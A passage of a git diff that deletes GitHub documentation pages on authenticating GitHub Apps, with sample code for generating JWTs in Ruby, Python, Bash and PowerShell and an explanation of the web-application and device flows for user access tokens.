`APP_ID` with a reference to your app's ID. Replace `PRIVATE_KEY` with a reference to your app's private key. Replace `WEBHOOK_SECRET` with the your app's webhook secret. - - ```javascript copy - import { App } from "octokit"; - - const app = new App({ - appId: APP_ID, - privateKey: PRIVATE_KEY, - webhooks: { WEBHOOK_SECRET }, - }); - ``` - -1. Use an `app.webhooks.*` method to handle webhook events. For more information, see [the Octokit.js README's Webhooks section](https://github.com/octokit/octokit.js#webhooks). For example, to create a comment on an issue when the issue is opened: - - ```javascript - app.webhooks.on("issues.opened", ({ octokit, payload }) => { - await octokit.request("POST /repos/{owner}/{repo}/issues/{issue_number}/comments", { - owner: payload.repository.owner.login, - repo: payload.repository.name, - issue_number: payload.issue.number, - body: `This is a bot post in response to this issue being opened.`, - headers: { - "x-github-api-version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, - } - ) - }); - ``` diff --git a/content/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app.md b/content/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app.md deleted file mode 100644 index 4816a318cb41..000000000000 --- a/content/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Authenticating as a GitHub App -intro: You can authenticate as a {% data variables.product.prodname_github_app %} in order to generate an installation access token or manage your app. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: Authenticate as an app ---- - -## About authentication as a {% data variables.product.prodname_github_app %} - -You must authenticate as a {% data variables.product.prodname_github_app %} in order to make REST API requests as the application. For example, if you want to use the API to generate an installation access token for accessing organization resources, list installations across organizations for your app, or suspend an app installation, you must authenticate as an app. - -If a REST API endpoint requires you to authenticate as an app, the documentation for that endpoint will indicate that you must use a JWT to access the endpoint. The GraphQL API does not support any queries or mutations that require you to authenticate as an app. - -## Using a JSON Web Token (JWT) to authenticate as a {% data variables.product.prodname_github_app %} - -1. Generate a JSON Web Token (JWT) for your app. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-json-web-token-jwt-for-a-github-app). -1. Include the JWT in the `Authorization` header of your request. In the following example, replace `YOUR_JWT` with your JWT. - - ```shell - curl --request GET \ - --url "{% data variables.product.rest_url %}/app/installations" \ - --header "Accept: application/vnd.github+json" \ - --header "Authorization: Bearer YOUR_JWT" \ - --header "X-GitHub-Api-Version: {{ allVersions[currentVersion].latestApiVersion }}" - ``` - -## Using the Octokit.js SDK to authenticate as a {% data variables.product.prodname_github_app %} - -You can use {% data variables.product.company_short %}'s Octokit.js SDK to authenticate as a {% data variables.product.prodname_github_app %}. One advantage of using the SDK to authenticate is that you do not need to generate a JSON web token (JWT) yourself. Additionally, the SDK will take care of regenerating the JWT when it expires. - -> [!NOTE] -> You must install and import `octokit` in order to use the Octokit.js library. The following example uses import statements in accordance with ES6. For more information about different installation and import methods, see [Usage](https://github.com/octokit/octokit.js/#usage) in the octokit/octokit repository. - -1. Get the ID of your app. You can find your app's ID on the settings page for your {% data variables.product.prodname_github_app %}. For more information about navigating to the settings page for your {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app-registration#navigating-to-your-github-app-settings). -1. Generate a private key. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps). -1. Import `App` from `octokit`. - - ```javascript copy - import { App } from "octokit"; - ``` - -1. Create a new instance of `App`. In the following example, replace `APP_ID` with a reference to your app's ID. Replace `PRIVATE_KEY` with a reference to the value of your app's private key. - - ```javascript copy - const app = new App({ - appId: APP_ID, - privateKey: PRIVATE_KEY, - }); - ``` - -1. Use an `octokit` method to make a request to a REST API endpoint that requires a JWT. For example: - - ```javascript copy - await app.octokit.request("/app") - ``` diff --git a/content/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-a-github-app-on-behalf-of-a-user.md b/content/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-a-github-app-on-behalf-of-a-user.md deleted file mode 100644 index 94269ecbd2bb..000000000000 --- a/content/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-a-github-app-on-behalf-of-a-user.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Authenticating with a GitHub App on behalf of a user -shortTitle: Authenticate on behalf of users -intro: '{% data reusables.shortdesc.identifying_and_authorizing_github_apps %}' -redirect_from: - - /early-access/integrations/user-identification-authorization - - /apps/building-integrations/setting-up-and-registering-github-apps/identifying-users-for-github-apps - - /apps/building-github-apps/identifying-and-authorizing-users-for-github-apps - - /developers/apps/identifying-and-authorizing-users-for-github-apps - - /developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps - - /apps/creating-github-apps/authenticating-with-a-github-app/identifying-and-authorizing-users-for-github-apps -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps ---- - -Your app can make API requests on behalf of a user. API requests made by an app on behalf of a user will be attributed to that user. For example, if your app posts a comment on behalf of a user, the {% data variables.product.company_short %} UI will show the user's avatar photo along with the app's identicon badge as the author of the issue. - -![Screenshot of a comment that has a user avatar with an overlaid app identicon badge. The avatar is highlighted with an orange outline.](/assets/images/help/apps/github-app-acting-on-your-behalf.png) - -Similarly, if the request triggers a corresponding entry in the audit logs and security logs, the logs will list the user as the actor but will state that the "programmatic_access_type" is "GitHub App user-to-server token". - -To make an API request on behalf of a user, the user must authorize your app. If an app is installed on an organization that includes multiple members, each member will need to authorize the app before the app can act on their behalf. An app does not need to be installed in order for a user to authorize the app. - -When a user installs an app on their account or organization, they grant the app permission to access the organization and repository resources that it requested. During the installation process, they will also see a list of account permissions that the app can request for individual users. When a user authorizes an app, they grant the app permission to act on their behalf, and they grant the account permissions that the app requested. - -Once a user has authorized your app, you can generate a user access token, which is a type of OAuth token. You should send the user access token in the `Authorization` header of your subsequent API requests. For more information about prompting a user to authorize your app and generating a user access token, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app). - -Requests made with a user access token are sometimes called "user-to-server" requests. - -{% data reusables.user-settings.token_access_capabilities %} - -If you want to attribute app activity to the app instead of to a user, you should authenticate as an app installation instead. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation). - -> [!NOTE] -> {% data reusables.apps.github_app_auth_saml %} diff --git a/content/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-json-web-token-jwt-for-a-github-app.md b/content/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-json-web-token-jwt-for-a-github-app.md deleted file mode 100644 index 0036f1652f4e..000000000000 --- a/content/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-json-web-token-jwt-for-a-github-app.md +++ /dev/null @@ -1,214 +0,0 @@ ---- -title: Generating a JSON Web Token (JWT) for a GitHub App -shortTitle: Generate a JWT -intro: 'Learn how to create a JSON Web Token (JWT) to authenticate to certain REST API endpoints with your {% data variables.product.prodname_github_app %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps ---- - -## About JSON Web Tokens (JWTs) - -In order to authenticate as an app or generate an installation access token, you must generate a JSON Web Token (JWT). If a REST API endpoint requires a JWT, the documentation for that endpoint will indicate that you must use a JWT to access the endpoint. - -Your JWT must be signed using the `RS256` algorithm and must contain the following claims. - -|Claim | Meaning | Details | -|---|---|---| -|`iat`| Issued At | The time that the JWT was created. To protect against clock drift, we recommend that you set this 60 seconds in the past and ensure that your server's date and time is set accurately (for example, by using the Network Time Protocol). | -|`exp`| Expires At | The expiration time of the JWT, after which it can't be used to request an installation token. The time must be no more than 10 minutes into the future. | -|`iss`| Issuer | The {% ifversion client-id-for-app %}client ID or {% endif %}application ID of your {% data variables.product.prodname_github_app %}. This value is used to find the right public key to verify the signature of the JWT. You can find your app's ID{% ifversion client-id-for-app %}s{% endif %} on the settings page for your {% data variables.product.prodname_github_app %}.{% ifversion client-id-for-app %} Use of the client ID is recommended.{% endif %} For more information about navigating to the settings page for your {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app-registration#navigating-to-your-github-app-settings).| -|`alg`| Message authentication code algorithm | This should be `RS256` since your JWT must be signed using the `RS256` algorithm. | - -To use a JWT, pass it in the `Authorization` header of an API request. For example: - -```shell -curl --request GET \ ---url "{% data variables.product.rest_url %}/app" \ ---header "Accept: application/vnd.github+json" \ ---header "Authorization: Bearer YOUR_JWT" \ ---header "X-GitHub-Api-Version: {{ allVersions[currentVersion].latestApiVersion }}" -``` - -{% data reusables.getting-started.bearer-vs-token %} - -## Generating a JSON Web Token (JWT) - -Most programming languages have a package that can generate a JWT. In all cases, you must have a private key and the ID of your {% data variables.product.prodname_github_app %}. For more information about generating a private key, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/managing-private-keys-for-github-apps). You can find your app's ID with the `GET /app` REST API endpoint. For more information, see [Apps](/rest/apps/apps) in the REST API documentation. - -> [!NOTE] -> Instead of creating a JWT, you can use {% data variables.product.company_short %}'s Octokit SDKs to authenticate as an app. The SDK will take care of generating a JWT for you and will regenerate the JWT once the token expires. For more information, see [Scripting with the REST API and JavaScript](/rest/guides/scripting-with-the-rest-api-and-javascript#authenticating-with-a-github-app). - -### Example: Using Ruby to generate a JWT - -> [!NOTE] -> You must run `gem install jwt` to install the `jwt` package in order to use this script. - -In the following example, replace `YOUR_PATH_TO_PEM` with the file path where your private key is stored. Replace `YOUR_APP_ID` with the ID of your app. Make sure to enclose the values for `YOUR_PATH_TO_PEM` and `YOUR_APP_ID` in double quotes. - -```ruby -require 'openssl' -require 'jwt' # https://rubygems.org/gems/jwt - -# Private key contents -private_pem = File.read("YOUR_PATH_TO_PEM") -private_key = OpenSSL::PKey::RSA.new(private_pem) - -# Generate the JWT -payload = { - # issued at time, 60 seconds in the past to allow for clock drift - iat: Time.now.to_i - 60, - # JWT expiration time (10 minute maximum) - exp: Time.now.to_i + (10 * 60), - {% ifversion client-id-for-app %} -# {% data variables.product.prodname_github_app %}'s client ID - iss: "YOUR_CLIENT_ID"{% else %} -# {% data variables.product.prodname_github_app %}'s app ID - iss: "YOUR_APP_ID"{% endif %} -} - -jwt = JWT.encode(payload, private_key, "RS256") -puts jwt -``` - -### Example: Using Python to generate a JWT - -> [!NOTE] -> You must run `pip install PyJWT cryptography` to install the `PyJWT` and the `cryptography` packages in order to use this script. - -```python copy -#!/usr/bin/env python3 -import sys -import time - -import jwt - - -# Get PEM file path -if len(sys.argv) > 1: - pem = sys.argv[1] -else: - pem = input("Enter path of private PEM file: ") - -{% ifversion client-id-for-app %} -# Get the Client ID -if len(sys.argv) > 2: - client_id = sys.argv[2] -else: - client_id = input("Enter your Client ID: ") -{% else %} -# Get the App ID -if len(sys.argv) > 2: - app_id = sys.argv[2] -else: - app_id = input("Enter your APP ID: ") -{% endif %} - -# Open PEM -with open(pem, 'rb') as pem_file: - signing_key = pem_file.read() - -payload = { - # Issued at time - 'iat': int(time.time()), - # JWT expiration time (10 minutes maximum) - 'exp': int(time.time()) + 600, - {% ifversion client-id-for-app %} - # {% data variables.product.prodname_github_app %}'s client ID - 'iss': client_id{% else %} - # {% data variables.product.prodname_github_app %}'s app ID - 'iss': app_id{% endif %} -} - -# Create JWT -encoded_jwt = jwt.encode(payload, signing_key, algorithm='RS256') - -print(f"JWT: {encoded_jwt}") -``` - -This script will prompt you for the file path where your private key is stored and for the ID of your app. Alternatively, you can pass those values as inline arguments when you execute the script. - -### Example: Using Bash to generate a JWT - -> [!NOTE] -> You must pass your {% ifversion client-id-for-app %}Client ID{% else %}App ID{% endif %} and the file path where your private key is stored as arguments when running this script. - -```bash copy -#!/usr/bin/env bash - -set -o pipefail -{% ifversion client-id-for-app %} -client_id=$1 # Client ID as first argument -{% else %} -app_id=$1 # App ID as first argument -{% endif %} -pem=$( cat $2 ) # file path of the private key as second argument - -now=$(date +%s) -iat=$((${now} - 60)) # Issues 60 seconds in the past -exp=$((${now} + 600)) # Expires 10 minutes in the future - -b64enc() { openssl base64 | tr -d '=' | tr '/+' '_-' | tr -d '\n'; } - -header_json='{ - "typ":"JWT", - "alg":"RS256" -}' -# Header encode -header=$( echo -n "${header_json}" | b64enc ) - -payload_json="{ - \"iat\":${iat}, - \"exp\":${exp}, - {% ifversion client-id-for-app %}\"iss\":\"${client_id}\"{% else %}\"iss\":\"${app_id}\"{% endif %} -}" -# Payload encode -payload=$( echo -n "${payload_json}" | b64enc ) - -# Signature -header_payload="${header}"."${payload}" -signature=$( - openssl dgst -sha256 -sign <(echo -n "${pem}") \ - <(echo -n "${header_payload}") | b64enc -) - -# Create JWT -JWT="${header_payload}"."${signature}" -printf '%s\n' "JWT: $JWT" -``` - -### Example: Using PowerShell to generate a JWT - -In the following example, replace `YOUR_PATH_TO_PEM` with the file path where your private key is stored. Replace {% ifversion client-id-for-app %}`YOUR_CLIENT_ID`{% else %}`YOUR_APP_ID`{% endif %} with the ID of your app. Make sure to enclose the values for `YOUR_PATH_TO_PEM` in double quotes. - -```powershell copy -#!/usr/bin/env pwsh - -{% ifversion client-id-for-app %} -$client_id = YOUR_CLIENT_ID -{% else %} -$app_id = YOUR_APP_ID -{% endif %} -$private_key_path = "YOUR_PATH_TO_PEM" - -$header = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((ConvertTo-Json -InputObject @{ - alg = "RS256" - typ = "JWT" -}))).TrimEnd('=').Replace('+', '-').Replace('/', '_'); - -$payload = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((ConvertTo-Json -InputObject @{ - iat = [System.DateTimeOffset]::UtcNow.AddSeconds(-10).ToUnixTimeSeconds() - exp = [System.DateTimeOffset]::UtcNow.AddMinutes(10).ToUnixTimeSeconds() - {% ifversion client-id-for-app %} iss = $client_id {% else %} iss = $app_id {% endif %} -}))).TrimEnd('=').Replace('+', '-').Replace('/', '_'); - -$rsa = [System.Security.Cryptography.RSA]::Create() -$rsa.ImportFromPem((Get-Content $private_key_path -Raw)) - -$signature = [Convert]::ToBase64String($rsa.SignData([System.Text.Encoding]::UTF8.GetBytes("$header.$payload"), [System.Security.Cryptography.HashAlgorithmName]::SHA256, [System.Security.Cryptography.RSASignaturePadding]::Pkcs1)).TrimEnd('=').Replace('+', '-').Replace('/', '_') -$jwt = "$header.$payload.$signature" -Write-Host $jwt -``` diff --git a/content/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app.md b/content/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app.md deleted file mode 100644 index 6731f0686214..000000000000 --- a/content/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app.md +++ /dev/null @@ -1,173 +0,0 @@ ---- -title: Generating a user access token for a GitHub App -intro: 'You can generate a user access token for your {% data variables.product.prodname_github_app %} in order to attribute app activity to a user.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: Generate a user access token ---- - -## About user access tokens - -> [!NOTE] {% data reusables.pre-release-program.expiring-user-access-tokens %} -> -> {% data reusables.apps.github_app_auth_saml %} -> {% ifversion ghec %} -> {% data reusables.enterprise-data-residency.access-domain %} -{% endif %} - -A user access token is a type of OAuth token. Unlike a traditional OAuth token, the user access token does not use scopes. Instead, it uses fine-grained permissions. A user access token only has permissions that both the user and the app have. For example, if the app was granted permission to write the contents of a repository, but the user can only read the contents, then the user access token can only read the contents. - -Similarly, a user access token can only access resources that both the user and app can access. For example, if an app is granted access to repository `A` and `B`, and the user can access repository `B` and `C`, the user access token can access repository `B` but not `A` or `C`. You can use the REST API to check which installations and which repositories within an installation a user access token can access. For more information, see `GET /user/installations` and `GET /user/installations/{installation_id}/repositories` in [AUTOTITLE](/rest/apps/installations). - -When you make API requests with a user access token, the rate limits for user access tokens apply. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/rate-limits-for-github-apps). - -By default, the user access token expires after 8 hours. You can use a refresh token to regenerate a user access token. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/refreshing-user-access-tokens). - -Users can revoke their authorization of a {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation). If a user revokes their authorization of a {% data variables.product.prodname_github_app %}, the app will receive the `github_app_authorization` webhook. {% data variables.product.prodname_github_apps %} cannot unsubscribe from this event. If your app receives this webhook, you should stop calling the API on behalf of the user who revoked the token. If your app continues to use a revoked access token, it will receive the `401 Bad Credentials` error. For more information about this webhook, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#github_app_authorization). - -You should keep user access tokens and refresh tokens secure. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). - -## Using the web application flow to generate a user access token - -If your app runs in the browser, you should use the web application flow to generate a user access token. For a tutorial about using the web application flow, see [AUTOTITLE](/apps/creating-github-apps/guides/using-the-web-application-flow-to-generate-a-user-access-token-for-a-github-app). - -1. Direct the user to this URL, and add any necessary query parameters from the following list of parameters: `{% data variables.product.oauth_host_code %}/login/oauth/authorize`. For example, this URL specifies the `client_id` and `state` parameters: `{% data variables.product.oauth_host_code %}/login/oauth/authorize?client_id=12345&state=abcdefg`. - - Query parameter | Type | Required? | Description - -----|------|------------|------ - `client_id` | `string` | Required | The client ID for your {% data variables.product.prodname_github_app %}. The client ID is different from the app ID. You can find the client ID on the settings page for your app. For more information about navigating to the settings page for your {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app-registration#navigating-to-your-github-app-settings). - `redirect_uri` | `string` | Strongly recommended | The URL in your application where users will be sent after authorization. This must be an exact match to one of the URLs you provided as a "Callback URL" in your app's settings and can't contain any additional parameters. - `state` | `string` | Strongly recommended | When specified, the value should contain a random string to protect against forgery attacks, and it can also contain any other arbitrary data. - `login` | `string` | Optional | When specified, the web application flow will prompt users with a specific account they can use for signing in and authorizing your app. - `allow_signup` | `boolean` | Optional | Whether unauthenticated users will be offered an option to sign up for {% data variables.product.prodname_dotcom %} during the OAuth flow. The default is `true`. Use `false` when a policy prohibits signups. -{% ifversion oauth_account_picker %} `prompt` | `string` | Optional | Forces the account picker to appear if set to `select_account`. The account picker will also appear if the application has a non-HTTP redirect URI or if the user has multiple accounts signed in. {% endif %} - -1. If the user accepts your authorization request, {% data variables.product.company_short %} will redirect the user to one of the callback URLs in your app settings, and provide a `code` query parameter you can use in the next step to create a user access token. If you specified `redirect_uri` in the previous step, that callback URL will be used. Otherwise, the first callback URL on your app's settings page will be used. - - If you specified the `state` parameter in the previous step, {% data variables.product.company_short %} will also include a `state` parameter. If the `state` parameter does not match the `state` parameter that you sent in the previous step, the request cannot be trusted, and the web application flow should be aborted. - -{% data reusables.apps.web-app-flow-exchange-code %} - -{% data reusables.apps.web-app-flow-token-response %} - -{% data reusables.apps.user-access-token-example-request %} - -## Using the device flow to generate a user access token - -> [!NOTE] -> The device flow is in {% data variables.release-phases.public_preview %} and subject to change. - -If your app is headless or does not have access to a browser, you should use the device flow to generate a user access token. For example, CLI tools, simple Raspberry Pis, and desktop applications should use the device flow. For a tutorial that uses device flow, see [AUTOTITLE](/apps/creating-github-apps/guides/building-a-cli-with-a-github-app). - -Before you can use the device flow, you must first enable it in your app's settings. For more information on enabling device flow, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app). - -The device flow uses the OAuth 2.0 Device Authorization Grant. - -1. Send a `POST` request to `{% data variables.product.oauth_host_code %}/login/device/code` along with a `client_id` query parameter. The client ID is different from the app ID. You can find the client ID on the settings page for your app. For more information about navigating to the settings page for your {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app-registration#navigating-to-your-github-app-settings). -1. {% data variables.product.company_short %} will give a response that includes the following query parameters: - - Response parameter | Type | Description - --- | --- | --- - `device_code` | `string` | A verification code that is used to verify the device. This code is 40 characters long. - `user_code` | `string` | A verification code that your application should display so that the user can enter the code in a browser. This code is 8 characters with a hyphen in the middle. For example, `WDJB-MJHT`. - `verification_uri` | `string` | The URL where users need to enter their `user_code`. The URL is: {% data variables.product.device_authorization_url %}. - `expires_in` | `integer` | The number of seconds before the `device_code` and `user_code` expire. The default is 900 seconds (15 minutes). - `interval` | `integer` | The minimum number of seconds that must pass before you can make a new access token request (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) to complete the device authorization. If you make a request before this interval passes, then you will hit the rate limit and receive a `slow_down` error. The default is 5 seconds. -1. Prompt the user to enter the `user_code` from the previous step at {% data variables.product.device_authorization_url %}. - - If the user does not enter the code before the `expires_in` time passes, the code will be invalid. In this case, you should restart the device flow. -1. Poll `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` along with the `client_id`, `device_code`, and `grant_type` query parameters (described below) until the device and user codes expire or the user has successfully authorized the app by entering the `user_code`. - - Query parameter | Type | Description - -----|------|-------------- - `client_id` | `string` | **Required.** The client ID for your {% data variables.product.prodname_github_app %}. - `device_code` | `string` | **Required.** The device verification code you received in the previous step. - `grant_type` | `string` | **Required.** The grant type must be `urn:ietf:params:oauth:grant-type:device_code`. - `repository_id` | `string` | The ID of a single repository that the user access token can access. If the {% data variables.product.prodname_github_app %} or user cannot access the repository, this will be ignored. Use this parameter to restrict the access of the user access token further. - - Do not poll this endpoint at a higher frequency than the frequency indicated by `interval`. If you do, you will hit the rate limit and receive a `slow_down` error. The `slow_down` error response adds 5 seconds to the last `interval`. - - Until the user enters the code, {% data variables.product.company_short %} will respond with a 200 status and an `error` response query parameter. - - | Error name | Description | - |----|----| - | `authorization_pending`| This error occurs when the authorization request is pending and the user hasn't entered the user code yet. The app is expected to keep polling the `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` at a frequency no faster than the frequency specified by `interval`. - | `slow_down` | When you receive the `slow_down` error, 5 extra seconds are added to the minimum `interval` or timeframe required between your requests using `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`. For example, if the starting interval required at least 5 seconds between requests and you get a `slow_down` error response, you must now wait a minimum of 10 seconds before making a new request for a token. The error response includes the new `interval` that you must use. - | `expired_token` | If the device code expired, then you will see the `token_expired` error. You must make a new request for a device code. - | `unsupported_grant_type` | The grant type must be `urn:ietf:params:oauth:grant-type:device_code` and included as an input parameter when you poll the OAuth token request `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`. - | `incorrect_client_credentials` | For the device flow, you must pass your app's client ID, which you can find on your app settings page. The client ID is different from the app ID and client secret. - | `incorrect_device_code` | The `device_code` provided is not valid. - | `access_denied` | When a user clicks cancel during the authorization process, you'll receive an `access_denied` error, and the user won't be able to use the verification code again. - | `device_flow_disabled` | Device flow has not been enabled in the app's settings. For more information on enabling device flow, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app). - -1. Once the user has entered the `user_code`, {% data variables.product.company_short %} will give a response that includes the following query parameters: - - {% data reusables.apps.user-access-token-response-parameters %} - -{% data reusables.apps.user-access-token-example-request %} - -## Generating a user access token when a user installs your app - -If you select **Request user authorization (OAuth) during installation** in your app settings, {% data variables.product.company_short %} will start the web application flow immediately after a user installs your app. - -You can generate a user access token with this method regardless of whether the app is installed on a user account or an organization account. However, if the app was installed on an organization account, you will need to use the web application flow or device flow to generate a user access token for other users in the organization. - -1. When a user installs your app, {% data variables.product.company_short %} will redirect the user to `{% data variables.product.oauth_host_code %}/login/oauth/authorize?client_id=CLIENT_ID`, where `CLIENT_ID` is the client ID of your app. -1. If the user accepts your authorization request, {% data variables.product.company_short %} will redirect the user to the first callback URL in your app settings, and provide a `code` query parameter. - - If you want to control which callback URL is used, do not select **Request user authorization (OAuth) during installation**. Instead, direct users through the full web application flow and specify the `redirect_uri` parameter. - -{% data reusables.apps.web-app-flow-exchange-code %} - -{% data reusables.apps.web-app-flow-token-response %} - -{% data reusables.apps.user-access-token-example-request %} - -## Using a refresh token to generate a user access token - -By default, user access tokens expires after 8 hours. If you receive a user access token with an expiration, you will also receive a refresh token. The refresh token expire after 6 months. You can use this refresh token to regenerate a user access token. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/refreshing-user-access-tokens). - -{% data variables.product.company_short %} strongly encourages you to use user access tokens that expire. If you previously opted out of using user access tokens that expire but want to re-enable this feature, see [AUTOTITLE](/apps/maintaining-github-apps/activating-optional-features-for-github-apps). - -## Troubleshooting - -The following sections outline some errors you may receive when generating a user access token. - -### Incorrect client credentials - -If the `client_id` or `client_secret` that you specify are incorrect, you will receive an `incorrect_client_credentials` error. - -To resolve this error, make sure to use the correct credentials for your {% data variables.product.prodname_github_app %}. You can find the client ID and client secret on the settings page for your {% data variables.product.prodname_github_app %}. For more information about navigating to your {% data variables.product.prodname_github_app %} settings page, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app-registration#navigating-to-your-github-app-settings). - -### Redirect URI mismatch - -If you specify a `redirect_uri` that doesn't match one of the callback URLs in your {% data variables.product.prodname_github_app %} registration, you will receive a `redirect_uri_mismatch` error. - -To resolve this error, either provide a `redirect_uri` that matches one of the callback URLs for your {% data variables.product.prodname_github_app %} registration, or omit this parameter to default to the first callback URL that is listed on your {% data variables.product.prodname_github_app %} registration. For more information, see [AUTOTITLE](/apps/creating-github-apps/registering-a-github-app/about-the-user-authorization-callback-url). - -### Bad verification code - -If you are using device flow and the verification code (`device_code`) that you specified is incorrect, expired, or doesn't -match the value that you received from the initial request to `{% data variables.product.oauth_host_code %}/login/device/code`, you will receive a `bad_verification_code` error. - -To resolve this error, you should start the device flow again to get a new code. For more information, see [Using the device flow to generate a user access token](#using-the-device-flow-to-generate-a-user-access-token). - -### Bad refresh token - -If the refresh token that you specified is invalid or expired, you will receive a `bad_refresh_token` error. - -To resolve this error, you must restart the web application flow or device flow to get a new user access token and refresh token. You will only receive a refresh token if your {% data variables.product.prodname_github_app %} has opted in to expiring user access tokens. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/refreshing-user-access-tokens). - -### Unsupported grant type - -When you request a user access token via the device flow, the `grant_type` parameter must be `urn:ietf:params:oauth:grant-type:device_code`. When you refresh a user access token by using a refresh token, the `grant_type` parameter must be `refresh_token`. If you don't use the correct grant type, you will receive an `unsupported_grant_type` error. - -### Unverified user email - -If the user for whom you are trying to generate a user access token has not verified their primary email address with {% data variables.product.company_short %}, you will receive an `unverified_user_email` error. - -To resolve this error, prompt the user to verify the primary email address on their {% data variables.product.company_short %} account. For more information, see {% ifversion fpt or ghec %}[AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address).{% else %}[AUTOTITLE](/free-pro-team@latest/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address) in the {% data variables.product.prodname_free_user %} documentation.{% endif %} diff --git a/content/apps/creating-github-apps/authenticating-with-a-github-app/generating-an-installation-access-token-for-a-github-app.md b/content/apps/creating-github-apps/authenticating-with-a-github-app/generating-an-installation-access-token-for-a-github-app.md deleted file mode 100644 index 6125d2032d0a..000000000000 --- a/content/apps/creating-github-apps/authenticating-with-a-github-app/generating-an-installation-access-token-for-a-github-app.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Generating an installation access token for a GitHub App -shortTitle: Generate an installation access token -intro: Learn how to generate an installation access token for your {% data variables.product.prodname_github_app %}. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps ---- - -## About installation access tokens - -In order to authenticate as an app installation, you must generate an installation access token. For more information about authenticating as an app installation, see [Authenticating as a GitHub App installation](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation). - -> [!NOTE] -> Instead of generating an installation access token, you can use {% data variables.product.company_short %}'s Octokit SDKs to authenticate as an app. The SDK will take care of generating an installation access token for you and will regenerate the token once it expires. For more information about authenticating as an app installation, see [Authenticating as a GitHub App installation](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation). - -You should keep your installation access token secure. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). - -## Generating an installation access token - -{% data reusables.apps.generate-installation-access-token %} diff --git a/content/apps/creating-github-apps/authenticating-with-a-github-app/index.md b/content/apps/creating-github-apps/authenticating-with-a-github-app/index.md deleted file mode 100644 index 9128aebe90c6..000000000000 --- a/content/apps/creating-github-apps/authenticating-with-a-github-app/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: 'Authenticating with a {% data variables.product.prodname_github_app %}' -shortTitle: 'Authenticate with a {% data variables.product.prodname_github_app %}' -intro: 'Learn how to authenticate with {% data variables.product.prodname_github_apps %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -children: - - /about-authentication-with-a-github-app - - /authenticating-as-a-github-app - - /authenticating-as-a-github-app-installation - - /authenticating-with-a-github-app-on-behalf-of-a-user - - /managing-private-keys-for-github-apps - - /generating-a-json-web-token-jwt-for-a-github-app - - /generating-an-installation-access-token-for-a-github-app - - /generating-a-user-access-token-for-a-github-app - - /refreshing-user-access-tokens - - /making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow ---- - diff --git a/content/apps/creating-github-apps/authenticating-with-a-github-app/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow.md b/content/apps/creating-github-apps/authenticating-with-a-github-app/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow.md deleted file mode 100644 index 70f6f15d9eac..000000000000 --- 